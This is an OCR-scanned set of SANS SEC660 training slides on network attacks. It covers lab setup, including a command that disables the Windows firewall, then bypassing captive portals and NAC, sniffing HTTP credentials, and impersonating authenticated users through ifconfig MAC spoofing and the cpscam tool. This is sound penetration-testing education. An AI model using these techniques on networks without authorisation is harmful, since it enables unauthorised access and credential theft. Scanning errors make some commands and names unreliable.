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Advanced Penetration Testing, Exploit Writing, and Ethical Hacking - Network Attacks —
660.1

Welcome to the first scction of class, focused on network attacks. In this section, we’ll look at
advanced penetration testing techniques with a focus on network attacks.
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Advanced Penetration Testing
Overview

SANS SEC660

In this module we will introduce some cssential subject matter, concepts, and introductory topics
required to perform advanced penetration testing and to procced through this course.



Objectives

e Qur objective for this module is to understand:
- Advanced penetration testing methodology
- Scripting
— Types of attacks focused on in this course
» Network attacks
e Escaping restricted environments
¢ Fuzzing, code coverage, and crypto
¢ Windows and Linux exploitation
e Reverse engineering

— Thinking outside of the box

\dvanced Penetration Testng, | xploit Wriring, and Iirhical Hacking

This module is an introduction to the overall concepts covered in this course. Each arca discussed
will serve as an entry point as we move through the material for each day.



Advanced Penetration Testing

e QOur areas of focus for this course!
— Network attacks
— Escaping restricted environments
- Pen-testing cryptographic implementations
- Fuzzing and scripting

- Linux and Windows privilege escalation and
remote exploitation

— Modern OS Controls
— Reverse engineering
— Knowing when to call it a day

ing, bixploit Wrinng, and Fhical Hacking

Advanced penctration testing requires the ability to fully exhaust all possibilities when assessing a
target environment or product in order to be successful. When others stop, a senior tester comes up
with solutions to solve complex problems and think outside of the box. Often, someone serving in this
role is the final say before calculating the relative risk. We will be covering techniques used daily by
lcad penctration testers. This includes:

* Network attacks

¢ Escaping restricted environments

« Pen-testing cryptographic implementations

* Fuzzing and scripting

* Linux and Windows privilege escalation and remote exploitation
* Modern OS Controls

¢ Reverse engineering

* Knowing when to call it a day



Network Attacks

The network is full of opportunities and
vulnerabilities

Gaining a man-in-the-middle position
Defeating or evading modern network controls
Network manipulation

VLAN hopping

SSL downgrade attacks
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Many networks arc based on old technology and protocols. Take the Address Resolution Protocol
(ARP). It is an archaic protocol that returns a MAC address for a given IP address. This protocol
allows for gratuitous ARP packets to be sent by anyone, making it casy to trick systems into thinking
a MAC address belongs to a different IP address than its owner. This works on most modern
networks, allowing an attacker to perform a man-in-the-middle attack and gain a very scrious
position for attack.

Newer technology has been introduced to help protect networks against these types of attacks, but
they are often not used, or there are still some vulnerable locations that break down the whole
system. Still, it is important to understand when these modern controls can be defeated and the
techniques to pull it off. Manipulating the network allows for access to a great amount of
information. Removing sccurity controls such as SSL to read otherwisc encrypted traffic, jumping
from a data VLLAN to a voice VLAN to sniff RDP traffic, and other forms of attack are all covered in
depth in this course, combined with labs to provide practical application of the techniques.



Escaping Restricted
Environments

Identification of modern OS protections
e Attacking the pre-boot environment

¢ Manipulating libraries for exploitation
Side-stepping file system defenses

e Breaking from restricted desktops

Wrinne. and Frhical Hackine

The primary goal of the escape section is to identify and circumvent modern defenses in place on
operating systems and nctworks. One of the ways to attack modern networks is to leverage the pre-
boot environment execution. Attack the pre-boot environment remotely will provide the opportunity to
conduct attacks normally requiring physical access.

A large part of penctration testing is confirming that defenses work as intended. Testing the host
defenscs such as chroot, jail, and complete virtualization are necessary to cstablish what remains to be
sccured or monitored. Side-stepping file system lockdown will provide an opportunity to prove what
could happen if a defense failed. The restrictions we will examine are focused on file system location,
librarics, or running proccsses. Either way, testing the potential is a requirement for assessing the risk
of a breach.



Scripting Skills

Scripting ties hand-to-hand with fuzz testing

Automation of tools is essential due to time
constraints

Python and Ruby are great languages

— Tons of libraries built for security researchers

— Perl is great, but not a lot of new development
You must make the plunge into scripting or
programming to be successful

A
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Scripting helps to automate the testing of systems, scrvices, and applications and helps to take a time
burden away from the tester. The topic of fuzz testing, or fuzzing, will be covered in detail in a later
module; however, the ability to script and program makes the life of a penetration tester much casicr.
There are many programming and scripting languages available, some of which are better designed
to handle the requirements of a penetration tester. Python and Ruby have both shown a strong level
of development and support for security rescarch and exploitation.

Modules, libraries, and debugging tools have been written for these languages to help simplify and
automatc fuzzing and research. In order to reach the next level in penetration testing, one must
embrace the idea of adding programming into their penctration testing toolkit. Once obtaining this
power, tools can be written and shared, allowing you to build up an arsenal of helper programs for
reconnaissance, scanning, fuzzing, and exploitation.



Reverse Engineering

Understanding Intel and AT&T assembly code
External function calls versus internal function calls
Debugging symbols

Working with disassemblers

Maximizing the effectiveness of debuggers
Discovering vulnerable code

1 Testng, Exploit Writng, and Frhical Hacking

Reverse engineering is a skill that proves extremely beneficial when performing analysis and bug
hunting against both commereial and proprictary applications. There are two primary assembly code
syntax types on x86 processors: Intcl and AT&T. Both styles work well, and most researchers end up
going with one versus another. It is important to master the basics of disassembled codc analysis and
to improve your ability to quickly identify interesting functions.

Internal function calls make for interesting targets, as the code is completely developed by the
programmer, as opposed to using an cxternal function call to a shared library. There arc obvious
external function calls with known vulnerabilities, which must also be identified. Often a tester has a
very limited amount of time to spend reversing, so this time must be optimized to focus on the most
interesting and lucrative targets.

Most vendors do not offer debugging symbols; however, Microsoft does offer them, and anytime
they are available they should be used. Debugging symbols map out the names of all internal
functions used by a program or library. This makes for much more cfficicnt analysis. Testers often
spend a large amount of time working with disassemblers such as IDA Pro and objdump, as well as
softwarc debuggers. These tools help you turn a bug and denial-of-service condition into a working
exploit with code execution.

10



Linux Exploitation

Understanding system architecture
Debugging Linux programs
Linking and loading process
Identifying privileged programs
Stack overflows

Defeating modern OS and compiler-time
controls

@
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A senior penetration tester must understand the inner-workings of many operating systems. At the
top of that list are Linux and Windows. The understanding of any OS rcquires fundamental
knowledge about system architecture. This includes a strong understanding of memory management
and allocation, processor registers, assembly language, stack and heap management, the linking and
loading process, and many other arcas consistent on most systems. Identifying programs that are
running with a higher privilege level is key to cutting down on the time taken to identify lucrative
vulnerabilities. Many OS vulnerabilitics are due to stack overflow conditions, which is covered
hcavily later on in the course. Many newer systems have operating system security and compiler-
time controls that have been added over the years. A tester must know when an exploit is failing due
to one of these controls and know methods to defeat these controls.

1



Windows Exploitation

Understanding Windows constructs
— Thread Information Block

— Process Environment Block

— Structured Exception Handling

Windows stack exploitation

Return Oriented Programming
Defeating Exploit Mitigation Controls
Windows shellcode

Advanced Penerration Testing, Fxploit Writing, and Frhical Hacking

The Windows OS is quite complex and requires a strong level of familiarity with Windows-specific,
such as the Thread Information Block (TIB), Process Environment Block (PEB), Structured Exception
Handling (SEH), and the overall methodology behind the Windows Application Programming
Interface (API). Stack exploitation works in a similar manner to Linux; however, there are specific
methods used that allow Windows exploits to become portable.

The Windows OS is very dynamic and constantly changing, which requires attackers to understand
techniques that do not rely on static locations of interesting memory locations. Modern controls must
be defeated on newer systems, and a tester must know when the controls arc undefeatable, or when the
condition is so challenging that the likelihood of a successful exploitation is low.

A scasoned penctration tester should be able to deal with exploit mitigation controls such as DEP and
ASLR, using techniques such as Return Oriented Programming (ROP) to defeat of circumvent them as
nccessary.

Windows shellcode is also very complex and should be well-understood. Even if a tester is not writing

custom shellcode, they will often need to analyze the code and make potential changes. Some
shellcode is not as stable and consistent as others, potentially increasing the likclihood of a crash.

12



Thinking Outside of the Box

o Applications, services, protocols, features, etc, are
built to function
— Security is often an afterthought
— Programmers code based on RFC’s and specifications
for vendor interoperability
e Penetration testers must

— Review the same RFC's and determine ways to break
logic
e There are many ways to code to a standard
- Work through complex problems to find a solution

Advanced Penerration Testdng, Lixploit Writng, and Erhical Hacking

A classically trained pianist and a self-taught pianist may bc cqually talented; however, the
classically trained pianist would likely cringe at the writing style of the pianist who is self-taught.
Once formal training and routine consumes a programmer it is difficult to break from this mold. If a
programmer is taught to code sccurcly from the start, many mistakes can be avoided. Regardless,
programmers designing products that arc required to communicate over a network or operate with
other vendor’s products must follow specifications outlined in a request for comment (RFC)
document or other standards-type documentation. They specify how protocols and programs must
behave in order to be consistent across multiple vendors and platforms. They do not specify how to
write code to achicve these requirements.

There may be dozens of ways to accomplish the task of mecting something as simple as receiving a
network request over a socket. Programmers also reuse a large amount of code when possible. You
will often sce the same code in many programs written by the same developer, or when code was
taken from another developer. Code can still be scen in use today from the infamous 1990°s port
scanning tool "SATAN." Security is often an afterthought to the product development process,
although many companies are adding in a Security or Software Development Lifecycle (SDL). This
process focuses on secure coding, peer review, code scanning, fuzz testing, quality assurance, and
other controls to cnsure that code is developed securely.

Penetration testers must use the standards and specifications used by programmers in order to
develop opportunities to exploit a coding error. There are many unsafe function calls still supported
by languages such as C and C++. This is primarily due to backwards compatibility. Systems libraries
must still provide support for unsafc functions as they may be called by older or poorly coded
applications. Functions such as string copy "strepy()" arc infamous for not allowing for any bounds
checking. Use of this function almost always results in problems if cxposed to a user. Using

13



functions such as "strncpy()", which allows for bounds checking does not automatically
protect the program from being vulnerable. If the size check is bound to the size of the input,
an overflow condition may still exist. Testers need to think of every way in which a goal in
programming can be accomplished, and then think of every way that can potentially be
cxploited. Leaving out anything may result in an undiscovered bug.

Outside of the box thinking is a gencric term not limited to programmatic flaws. Many
testers get access to a system and are then uncertain as to what to do next. As mentioned in
SANS SEC560 Network Penetration Testing and Ethical hacking, gaining access is just the
first step. What you do with that access, while staying within the rules of engagement and
scope is much more important. The process of collecting network traffic, credentials,
pivoting through trusted systems, privilege escalation, and cxploitation are all important
picces to the puzzle that can almost always be solved.

14



Module Summary

e A senior penetration tester must succeed
when others fail

e Those who can think outside of the box are
often the most successful

e Skills should range from network attacks
through system exploitation

e Reverse engineering and disassembly is an
advanced skill

Module Summary

In this module we covered high level subject matter that will be researched and used throughout the
course. It is critical for a senior penctration tester to have the ability to think outside of the box and
come up with solutions to complex problems. There are many testers who feel there is always an
answer to a problem, cven if they were unable to come up with the solution. This is written up as a
level of uncertainty when completing an assessment. Some of the areas covered are very advanced
and requirc that a tester dive into the subject matter and develop a passion.

15



Ensure Your Success

Preparing your attack systems

ng, and ithical Flacking

Ensure Your Success
In this section we will provide some quick tips for preparing your attack system to help ensure your
success on the exercises in this module.
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Ensure Your Success (1)

e Which version of Windows to use?

— We strongly recommend using a Windows 7
(SP1+)

—You will also use Windows 8 at times, if you
brought it, depending on the capabilities of the
tools

e Some tools simply do not work on new versions
— A virtual machine is preferred for many reasons
» Use snapshots gratuitously!

| 1 : T Wi o3
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As stated in the course requirements on the SANS website for SEC660, you will need a Windows 7
(SP1+) host for this class. If you brought Windows 8, we will use it at times; however, many of the
tools we usc as penetration testers do not work on the latest versions of Windows. This is often due
to a myriad of reasons, such as changes to the underlying operating system and the fact that the
program wasn’t compiled to work on Windows 8+.

Virtual machines are strongly preferred as it gives us the ability to take snapshots and revert to a
known state. Be sure to use snapshots gratuitously throughout the coursc.

17



Ensure Your Success (2)

e Firewall/AV must be truly disabled

—End-point security suites will likely get in
your way, even when disabled
* Disabled doesn't always mean disabled
» May need to be uninstalled completely

e Note that they will often turn on the Windows
firewall when disabled or uninstalled

C:\> netsh advfirewall set allprofiles state off

[estng, Fxploit Writdng, and Fdhical Hacking

Many students struggle with labs due to the fact that they have a firewall running. Many of the end-
point security products and VPN clients have a disable option but our experience in numerous SANS
courses is that disabled doesn’t actually mean disabled to them. You will likely have much better
success if you completely remove the product. This is generally a good idea on the systems you plan
to use for penctration testing.

To turn off the Windows firewall on Windows 7 from a Command Prompt:
netsh advfirewall set allprofiles state off

18



Windows 7 Setup

e Ideal configuration
— Windows 7 SPO or SP1
— IP address: 10.10.76.X (assigned IP)
- Mask: 255.255.0.0
— DNS: 10.10.10.78
— Default Gateway: n/a
— Security Suite: uninstalled
- Firewall: disabled
— VM Networking: Bridged (Not to Auto!)

e Ping files.sec660.org to verify connectivity

tion Testng, Exploit Writing, and Fithical Hacking

For this portion of the course, you will need to configure your Windows 7 attack system with the
following settings:

IP Address: 10.10.76.X (where X is assigned to you)

Subnet Mask: 255.255.0.0 (note this is a /16 mask, not a /24)

DNS Server: 10.10.10.78

Default Gateway: n/a

Security Suite: Completely removed ideally. Fully disabled otherwise.

Firewall: Completely disabled

VM Networking: Bridged (you will be using the classroom network). Be surc to

manually sct the appropriate network adapter for bridging. Do not let it auto-bridge or it will likely
select your wireless card.

Attempt to ping files.sec660.org to verify connectivity.
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Install Wireshark

e You will need the version of WinPcap
included with Wireshark for later labs

e Install Wireshark from the SEC660
drive
—Install WinPcap when prompted

e If you already have a version of
WinPcap installed, you may need to
uninstall it first

Please install Wireshark from the SEC660 drive at this time. You will want to run it throughout the
day, and you will need the version of WinPcap that is installed along with Wireshark as well for
other tools.

When prompted, install the WinPcap software as part of the Wireshark install.

If you have a different version of Wireshark installed already, please uninstall it first. Then
install Wireshark/WinPcap from the SEC660 drive to ensure proper behavior.

20



Install 7-zip

e Install the unzip utility 7-zip from the
SEC660 drive

Organize » Include in hbrar_y-'" " Sharewith ¥ Bum_ »
¢ Favontes . o
B Desktop b Mac_Tzip
4 Downloads ?"020 mst I -
12 Cropbox i) 7920-64.msi II
& OneDrive (& 7-2ip-920.exe
_ Recent Places & ca_setup.exe
= Kah Linux 1.0.7 32 bit.7z
~u Libraries . README.txt
&) DEV L) WinPcap 4.1 2.exe
o DEV2 [ wireshark-win32-18.6.exe

* Documents I Wirechark-wind-1 8.5 exe

AOVHANIUCO FOLCLTEIONT

Install 7-zip

Install the appropriate 7-zip software from the SEC660 drive by launching the 32-bit or 64-bit
installer file shown here. 7-zip gives you a contextual right-click option in Windows Explorer to
unzip files. Unlike the built-in Windows unzip function, 7-zip is much faster (using multiple cores)
and can handle more compressed file types. Also included is the Mac OS X version.
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Copy Kali Linux
Qrganize « Include in kibrary Share with ~ Bum =
Wone I woase o Copy the Kali 7z
v iian file to your Virtual
@ Onelrive C:; ?.qungzﬂ.,exe Ma Ch|nels
%, Recent Places ﬁ{a_.gesup,ue d‘rectory
= Kali Linux 1.0.7 32 bit.Tz || Right Click | _7 zip |
i Librares README txt L ] - o
—, ;:\:2 ;x:z:::i:\zefeﬂbme EXtriICt I_’I‘erlft
L A ouble click to
O s » veaitecioes = Tool tec open the Kali
: Organize » Include in bbhrary » »._ 2 dlrectory
l asie. B ™ - e Double-click the
e | VMX file to open in
B VMware

& Podcasts

| 4«
EEEN TV &

o and Fhical Hacking

Copy Kali Linux

Copy the Kali Linux 7z file to the Virtual Machine's directory on your host system. Right-click on
the Kali Linux file in the Virtual Machine's directory, and select 7-zip | Extract Here. This will take
several minutes to complete.

When the file finishes decompressing, double-click on the Kali directory, then launch VMware by
double-clicking the VMX file.
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Kali Setup (1)

o When prompted, select "I copied it"

Kali Linux 1.0.6 32 bit - VMware Workstation .

.I e This wirtual machine might have been moved or copred.

In order to configure certain management and networking
features, ViMware Workstation needs to know if this virtual
machine was moved or copied.

If you don't know, answer "I copied it".

|

[ 1movede |

Kali Linux Setup (1)

When you launch VMware with Kali Linux for the first time, VMware will prompt you concerning
whether the virtual machine was moved or copied. Select "I copied it", then click OK. Start the
guest to launch the Kali Linux environment.
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Kali Setup (2)
N N

kali Wl

Other Othe

Username: ' root Password eesss

n l'OOt" lltoorll

System Defauit Cancel Log In System Defaudt Canicet Log In

e Login to Kali using root/toor
e Open a terminal \_/\?

e Change your root password: "passwd"

Kali Setup (2)

After Kali Linux boots, login with the username and password "root" and "toor". Open a terminal
prompt and change your root password to something you will remember using the "passwd" utility:

# passwd

Enter new UNIX password: newpassword
Retype new UNIX password: newpassword
passwd: password updated successfully

24



Kali Setup (3)

Fol TN Telel") vmware

Click, select

Settings e : bevee sy
W Memcry a8 d Change from
Wovocmers Y™ NAT to Bridged
o Dk (5080 3068
(SICOOVO (DE) At detect He
Adepter MAT 8 rdged: Conrected drectly 1o P phymcal network
USE Controller Fresont Repicate ghymosl netork cormechon state
P Sond Cudl :::;‘ HAT: Usad 1o share the hoet's 1P pddress
M!

Host-oniy: A private seteork shaned with e host

Kali Setup (3)

Next, adjust the propertics of the VM's network card, changing it from NAT to Bridged, then click
OK.
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Kali Linux Setup (4)

From the terminal, configure your system with your assigned
IP address:

‘# ifconfig eth0 10.10.X.X netmask 255.255.0.0 up I

Set the DNS server:

}# echo nameserver 10.10.10.78 > /etc/resolv.conf

Verify connectivity:

rﬂ ping ~c 3 files.sec660.0rg

Exercise - Kali Linux Setup (4)

Configurc your system with your assigned IP address using the ifconfig utility, as shown. Ensure
you specify a 16-bit subnet mask, as shown.

Set your nameserver to 10.10.10.78 by replacing the /etc/resolv.conf filc as shown,

Verity connectivity by pinging files.sec660.org.
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VPN Configuration
vLive and OnDemand
e If you are attending via vLive or

OnDemand, you will receive an e-mail with
instructions for getting networked

e The e-mail will explain how to:

— Download the OpenVPN install files
for Windows and Linux and your certificates

— Install OpenVPN on Windows and Linux, and
place your certs in the appropriate place

Dectailed instructions are provided for anyone attending via vLive or OnDemand.
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Accessing the Network

SANS SEC660

Accessing the Network
Next we'll take a detailed look at how to escalate our privileges to the network, bypassing
mechanisms such as NAC, exploiting [EEE 802.1X.

28



Network Attacks

e Focusing on exploiting network services
— Getting Access to the Network
— Manipulating the Network
— Exploiting the Network

e Emphasis on common network protocols
and architectures

— Obscure stuff is great too, but less
commonly applicable

\dvanced Penerration Testng, Exploit Writing, and Frhical Hacking

Network Attacks

In the remainder of this sections matcrial, our focus is on exploiting the network itself, and
supporting technology. We'll start out by looking at techniques for getting access to the network,
though privilege cscalation or other means. Once we have access to the network, we'll look at
manipulating the network for our benefit. With access and a creatively manipulated network under
our control, we'll look at exploiting network services and systems. Throughout the day we'll side-
step a little to look at exploiting clients, servers, routers, and switches as well, though our main focus
will be toward building a level of access that can be used to exploit and manipulate your target
organization.

We won't be able to cover every type of network system in this scction, but we'll focus on the
common network protocols and architectures found in modern networks. There are a lot of more
obscure target systems available with interesting exploitation methods, but these are less commonly
applicable compared to common protocols and systems.

29



Getting Access

e Focus on gaining or extending network access
privileges

e Modern networks are making access more
difficult
— Admission control, compliance checks, IEEE 802.1X

¢ Limited access often can be manipulated for
privilege escalation

Goal: Get sufficient access to the network to mount attacks.

12, i
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Getting Access

The first part of our focus on network attacks will be on getting access to the network and extending
nctwork access privileges. Even with physical access to a port, gaining access to many modern
networks 1s difficult without legitimate access credentials. Technologies, including network
admission control (NAC), system posture and compliance checks, and port authentication checks
(such as IEEE 802.1X) are common barriers for an attacker.

Even when network control systems arc in place, an attacker will have limited access to the network
or controlling systems since a minimum of access is required for legitimate users to authenticate.
This minimal level of access can often be manipulated to gain greater access to the network.

Our goal in this section of matcrial is to examine and apply techniques that you can usc to gain

greater levels of network access. Once a greater level of access is achieved, we can start to
implement network manipulation attacks.
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Manipulating the Network

e With access, coerce the network for
greater visibility to systems, resources
—Overcoming switched traffic isolation
— Controlling network-wide routing processes

e Many attack opportunities are revealed
once attacker is MITM

Goal: Manipulate network resources to open up attack
opportunities.

Advanced Penerraton Testing, | ."-.}wl' it Wridng, and Frthical Hacking

Manipulating the Network

With sufficient network access, we can start to manipulate systems and infrastructure devices to gain
greater visibility into network traffic and internal network topologies. Unlike shared segment
nctworks, modern switched environments limit an attacker's inherent ability to observe traffic on the
network. Fortunately, multiple techniques can be used to overcome this limitation and obtain an
insightful view into network traffic. In many cases, we can cven achieve widespread network access
through routing process manipulation.

When exploiting networks and systems, the ability to achicve a position of Man-In-The-Middle
(MITM) opens up many new attack opportunities. As we look at gaining greater visibility through
network manipulation, we'll frequently bring it back to MITM opportunities for us to leverage for
exploiting vulnerable protocols and configurations.

Our goal in this section of material is to investigate and apply techniques to manipulate network
resources with the intent of creating attack opportunities.
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Exploiting the Network

e Leverage MITM position to exploit devices

— Plaintext protocols, SSL, SSH, custom
protocol manipulation

e Exploit critical network services
—~SNMP, TFTP
e Demonstrate the compromise impact

Goal: Utilize the manipulated network to exploit vulnerable
protocols and network services to show attack impact.

and Frhical Hacking

Exploiting the Network

Once we have gained access to the network and are in a MITM position, we'll look at our many
options to exploit devices and systems. Among our target list will be exploitation opportunities
against plaintext and encrypted protocols and custom protocol manipulation as well. We'll look at
exploiting critical network services such as SNMP and TFTP, and exploiting common client
protocols and update processes. In this section, we'll reinforce all the techniques we've built so far
and utilize the skills we've developed to demonstrate to our customers the impact of compromised
networks and systems.

Our goal in this final section will be to utilize our network access and network manipulation

techniques to exploit vulnerable protocols and systems, demonstrating the impact of attacks and
compromises.
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Starting with a Port

e Start from a network port

—Restricted VLAN, guest network, "utility"
network (printers, etc.)

—Wireless network (with some restrictions)

e Network discovery and access
opportunities

e Overcoming limitations and obstacles

1
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Starting with a Port

In our focus for accessing the network, we'll start our course to network cxploitation with a port.

This port could be supplied to the penetration tester as part of the engagement (and internal test), or it
could be accessed through altcrnate means such as access through an otherwise restricted VLAN
(taking over a kiosk's connection, or other appliance), access to a guest network, "utility" network for
printers or other networked systems, or even access through a wircless access point. For remote
tests, the concept of network access escalation from a port could come from a single compromised
client device that is used by the attacker to gain additional network access.

Even with access to a port on the network, we may be presented with scveral access obstacles

preventing us from performing network discovery and assessment tasks. In this section, we'll look at
overcoming these limitations and obstacles for unfettered access to internal systems and resources.
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NAC

¢ Network Admission Control
— One name, many meanings
¢ Represents an access restriction to overcome

— May require authentication, or other system validity check
to gain further access to the network

e Implemented in many ways, with varying levels of
realized security

— "Ensure clients are patched and have AV" to "Encrypted
authentication with a token is required for all users"
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NAC

Network Admission Control (NAC) has been a tumultuous technology with a varicty of incompatible
solutions and techniques. While NAC has many different meanings, it cssentially represents an
access restriction we have to overcome as a penetration tester.

Systems that utilize NAC leverage a method of network control, requiring end-users to perform some
kind of authentication or system policy validation before being granted access to the network. This
can be implemented with varying levels of security scrutiny and requirement, with some
organizations minimally requiring that all clients arc patched with current anti-virus signatures before
accessing the network. Other organizations may require sophisticated two-factor token
authentication, system posture and client operating systems checks and enforcement of access
privileges to certain systems based on the client login credentials.

We'll look at various techniques for implementing and circumventing or bypassing NAC systems by

first illustrating the policy requirement and implementation of the NAC system, and then by pointing
out flaws we can leverage to our advantage.
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NAC Scenario 1

Policy: Require simple authentication, ensure clients
meet minimum security policy requirements.

L

Commonly implemented as "dissolvable
agent" or clientless NAC

Client connects to initial, restricted network
(enforced inline, or on switch)

Captive portal HTTP interception forces
authentication

- ActiveX or other browser control launches to
perform system validation

Successful auth. grants internal access
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NAC Scenario 1

For our NAC scenarios, we'll start with a policy statement that describes the NAC implementation
goal for the network. In NAC Scenario 1, our policy is to require simple authentication and ensure
clients meet minimum security policy requirements.

In this scenario, a minimal level of compliance checking is done on client devices while all users arc
required to authenticate to the network. This is an example of a minimalistic NAC deployment,
where the target organization likely has to support a wide variety of clicnt systems and opts to just
enforce a minimal level of control and system checking.

In these NAC deployments, a clientless NAC or dissolvable agent system is deployed. Instead of
requiring every device to have a full NAC fat client installed, client systems utilize a web browser
and temporary agent using ActiveX or Java to perform the system validation checks. This client may
also perform authentication, though it is more common to scec captive portal authentication used
before the dissolvable agent is delivered to the client.

In clientless NAC systems, the client connects to an initial restricted network before being redirected
to an authentication page that forces authentication and agent policy validation. This initial access
may be enforced on a switch where a successful authentication event forces a VLAN switch
opcration for the user, or it can be enforced inline by the NAC, only granting access to internal
network resources following authentication.
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An initial barrier in some
networks

Inline or OOB management
— Captive Portal changes VLAN
with SNMP post-auth.

IP and/or MAC used to
validate authenticated
clients
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Captive Portal Authentication

Clientless NAC systems often leverage a captive portal authentication system to validate a user's
identity before granting access to the network. When a client connects to the network and opens a
web browser, the captive portal system redirects the HTTP requests with a temporary redirect
message (HTTP/301) to the captive portal server itsclf. Presenting a form for username and
password authentication, the captive portal server will drop all (or most) traffic until the user
successfully authenticates.

Once authenticated, the captive portal server will grant access to the network. [If the captive portal
server is using out-of-band management, it may use SNMP or an intcractive scssion to grant the end-
user access to a second VLAN that has internal network access. We'll look at VLAN manipulation
and hopping techniques later in this module.

If the captive portal server uses inline management, it will grant access to the victim system

following successful authentication. The captive portal scrver uses the client's MAC address, 1P
address, or both to validatc all traffic as having originated from an authenticated client.
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Attacking Captive Portal Auth.

e Several attack opportunities

e Attack captive portal server itself

—Web server, likely connected to
management network for SNMP

o Attack pre-auth. services (DNS, DHCP)
o Attack other pre-auth. client devices

access to the post-authentication network.
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Attacking Captive Portal Authentication
Captive portal systems present several attack opportunitics for the unauthenticated attacker:

* Attack the Portal: The captive portal server itself is a target for the attacker. If the captive
portal system is using OOB management, it may be using SNMP or other management
protocols (we'll look at SNMP attacks later in this module). Regardless of the position of the
captive portal server, it is a web server target, and may be vulnerable to the numerous web
attack options such as Cross-Site Request Forgery (CSRF), Cross-Site Scripting (XSS), SQL
injection and many others.

° Attack Pre-Authentication Services: As a high-level protocol, HTTP authentication against
the captive portal server requires that several lower-layer protocols have alrcady done their
job to support the client. Prior to captive portal authentication, services such as DHCP and
DNS must be accessible to the end-user, which may also represent attack opportunitics.

e Attack Other Pre-Authentication Client Devices: Prior to authentication, the attacker may
be able to contact other client systems on the network, regardless of the captive portal
deployment mechanism. Successfully compromising a client system that then later
completes authentication may yield greater access to the network.

While these techniques represent actionable attack techniques, we'll focus our assessment on

bypassing the requirement to authenticate to the captive portal system to gain access to the post-
authentication network.
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Exploiting Web Authentication

e Internal captive portal servers may not
use SSL for credential protection

¢ We'll examine other SSL attacks, later
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Exploiting Web Authentication

Surprisingly frequently (in this author's experience), internal captive portal servers do not use SSL to
protect the delivery of network credentials. As a result, the ability to observe successful network
authentication will yield an attacker valid credentials to use for accessing the network. A simple tool
for monitoring the network for successful HTTP credential authentication is Cain (www.oxid.it).
Reading from a live nctwork interface (Ethernet or wireless in monitor mode) or from a packet capture
file, Cain will inspect HTTP traffic for common form field values corresponding to authentication
credentials.  As shown on this slide, Cain has identified the HTTP server and client addresses,
username, and password information, including the URL of the web location where the credentials
were submitted. To access this information, click on the "Sniffer" tab near the top of the window, then
click on the "Passwords" tab ncar the bottom.

In order for Cain to recognize a username and password field combination, it must be configured with
the HTTP form ficld names to search for. A list of common HTTP form ficld names is included with
Cain by default, including "vb_login_username", "logonusername”, "user_security password" and
some non-English spellings such as "in_benutzername". Clicking Configure | HTTP Fields
allows you to add additional fields as nceded.

Note that Cain docs not validate that credentials are successful after being observed. If a user fails
authentication, Cain will still present the failed authentication credentials in the Sniffer tab.

Later in the material we'll look at exploiting SSL-based captive portal authentication systems.
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User Impersonation

Inline captive portal systems validate prior
authentication using MAC/IP

— Impersonate authenticated user

Problem with active clients and IP/MAC
address conflict

Few users will logout when leaving
Solution: Impersonate departed, but still
authenticated, user
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User Impersonation

Inline captive portal systems arc also responsible for bridging or routing traffic from the untrusted
network to the trusted network, relying on client MAC and/or IP address information to validate
previously authenticated users. Knowing this, we have an opportunity to bypass captive portal
authentication by impersonating a previously authenticated user by assuming their MAC address and
IP address.

While assuming another user's 1P address and MAC address is straightforward, if we impersonate a
user who is still on the network we will generate IP address conflict problems. Windows and OS X
users will see a warning indicating an IP address warning, which may alert administrators as to the
presence of an attack. Further, the attacker will be unable to transmit TCP traffic reliably, since cach
SYN+ACK response will incvitably be reset by the user being impersonated.

Despite these limitations, user impersonation for bypassing captive portal authentication can be a
useful and somewhat stealthy technique. With captive portal systems, few users will logout when
they are finished computing, Icaving their scssion authenticated. With the ability to impersonate
uscrs, and identify users who are inactive but still authenticated, an attacker can cvade the challenges
associated with impersonating a user who is still present on the network.
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MAC Address Impersonation

C: \W!NDUWS\S'{‘HCH )\rmd exe

: o . . — ~—v ey TITET
cshi!‘t ul i. mc C]mnging Utility by l'hl:han T'ﬂle. ncshift@natotma co
Setting MAC on adapter 'Wireless Network Connection’ to 008102838485...

Rdapter ID is (50B86984-2CCE-4C40-BAA1-B8734BC1ASSCCY
Resetting adapter...

$

Mymac :

root@bt:-# ifconfig eth@ down A |
root@bt:-# ifconfig eth® hw ether 00:01:02:03:84:05 .|
root@bt:-# ifconfig eth® up

Warning: Some drivers will not honor alternate MAC addresses

MAC Address Impersonation

Impersonating the MAC address of another device is trivial on almost any platform. On Windows
systems, one tool is macshift (http://macshift.natetruc.com), which allows you to identify the
interface name with the "-i" argument, followed by the desired MAC address.

On OSX systems, the built-in "ifconfig" utility can be used to change the MAC address. Simply
open a terminal session and with super-user privileges, run the following command:

# ifconfig enl ether 00:01:02:03:04:05
Replace the interface name and MAC address with the desired valucs.

On Linux systems, the ifconfig utility can also be used to change the MAC address, with a minor
variation from the OSX cxample:

# ifconfig eth0 down
# ifconfig eth0 hw ether 00:01:02:03:04:05
# ifconfig eth0 up

On Linux systems, many drivers require that the network interface be configured in a down state
prior to changing the MAC address (using the "ifconfig eth0 down" command). Once the
MAC address is changed, we can place the interface back into the up state and request a DHCP
address and get the same IP address as the victim within the DHCP lease duration.
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Note that some drivers, notably Windows wireless and Ethernet cards, may not honor alternatc MAC
address scttings. Tools such as "macshift" will report success, but will not be effective. It is best to
test your tools in a lab environment to validate their operation before attempting to use them in a
production environment.
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cpscam

o Identifies client activity (like pul)

e Watches for clients accessing the logout URL (that you
specify)

e Identifies a client that has been inactive for a timeout
duration (e.g. they left, but have not logged out from CP)

5 sudo perl cpscam.pl 10.10.10.0 255.255,.255.0
Capturing t¥affic ..

Mon Rug 23 14:44:37 2010

Host 10.10.10.108 has been inactive
Host 10.10,10.100 has been ipgctive
Host 10.10.10.117 has been inactive for 2

Mon Bug 23 14:44:55 2010

Host 10,10:10.308 has been inactive for 8% ssconds.

Host 10,10.10.3100 has been inactive for 102 seconds.

Host 10.10.10.117 has been inactive far 4% seconds.

Mon Bug 23 14:45:13 2010

Host 10.10.10.100 has been inactive for 120 secords.

Host 10.10.10.117 has been inactive for §7 seconds.

The hest at 10.10.10.100/00:13:c2:55:98:ef has been inactive for 120 seconds...
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cpscam

The cpscam tool ("captive portal scam") written by this author is a useful aid for impersonating an
authenticated client and bypassing the captive portal authentication process. Cpscam obscrves
network traffic to build a list of client IP and MAC addrcesses to impersonate, similar to Pickupline.
Unlike Pickupline, cpscam maintains this list of clients, attempting to identify clients that have left
the network as a preferable impersonation option. Cpscam also watches for clients that access the
captive portal logout URL (that you specify by editing the Perl script) and removes those clients from
the impersonate list.

Once cpscam determinges that a client has been inactive for 2 minutes (the default inactivity timer), it
displays the IP address and MAC address of the client. Depending on your attack platform, you can
